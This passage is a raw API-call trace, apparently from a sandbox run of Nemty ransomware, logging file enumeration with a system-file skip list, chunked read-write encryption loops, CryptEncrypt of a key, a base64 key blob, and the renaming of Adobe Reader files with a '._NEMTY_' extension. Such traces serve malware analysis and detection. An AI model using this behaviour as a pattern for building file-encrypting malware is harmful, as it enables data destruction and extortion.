dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.900] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0200.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0200.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.919] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.919] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.937] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.956] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.956] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0201.006] CloseHandle (hObject=0xffffffff) returned 0 [0201.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0201.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0201.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0201.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0201.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0201.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0201.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0201.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0201.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0201.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0201.006] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90pv-rksj"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90pv-RKSJ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90pv-rksj._nemty_kgobjgd_")) returned 0 [0201.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0201.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0201.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0201.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0201.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0201.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.007] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-CID", cAlternateFileName="AD8921~1")) returned 1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2=".") returned 1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="..") returned 1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="...") returned 1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="windows") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="$RECYCLE.BIN") returned 1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="rsa") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="NTDETECT.COM") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="ntldr") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="MSDOS.SYS") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="IO.SYS") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="boot.ini") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="boot.ini") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="AUTOEXEC.BAT") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="ntuser.dat") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="desktop.ini") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="CONFIG.SYS") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="RECYCLER") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="BOOTSECT.BAK") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="bootmgr") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="programdata") returned -1 [0201.007] lstrcmpiW (lpString1="Adobe-Japan1-H-CID", lpString2="appdata") returned -1 [0201.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-CID", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-CID", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-CID", lpUsedDefaultChar=0x0) returned 18 [0201.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0201.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-CID", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-CID", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-CID", lpUsedDefaultChar=0x0) returned 18 [0201.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0201.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-CID", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-CID", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-CID", lpUsedDefaultChar=0x0) returned 18 [0201.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-CID", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-CID", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-CID", lpUsedDefaultChar=0x0) returned 18 [0201.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0201.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0201.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0201.008] Sleep (dwMilliseconds=0x5) [0201.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b76baf0, dwHighDateTime=0x1d561e8)) [0201.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b76baf0, dwHighDateTime=0x1d561e8)) [0201.020] GetLastError () returned 0x5 [0201.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0201.020] GetLastError () returned 0x5 [0201.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0201.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0201.020] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0201.020] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0201.020] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0201.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0201.020] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="h0LhYkXdcTAl50CBejMzRFc4SGc/xiF8DYcEdcpbiAE0VjS8Ox6ELTfDrhQtwB5g\r\nmdtvUE5I/7YhnbVm7uqGUoyAbwPCc/zF5LIvI/CVzDPdTNk8WBAG5pKUsHNMN1Fr\r\nMpIEvx51dStApqBQkqlaO/e2sGYBf63PIQmQQ1elcsVuwD2nxAdxFWIywcX0C6yE\r\nv9x6iMTQE1FfnmL8kd2FvHqJ2Ttg/M8FMw2zGSkq8vI81VdEd+qNY4BEW2pa2/on\r\nAMXO4A90GMTtOSTheFcUWbrVvrk0/G9KlQPiqiX88hxdytH4UnIlpquNUp9s+4TV\r\ntGZGmBtFBnaMqlpTdrpUhg==\r\n", pcchString=0x653e91c) returned 1 [0201.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0201.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0201.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0201.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0201.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0201.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-cid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0201.020] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0201.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0201.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 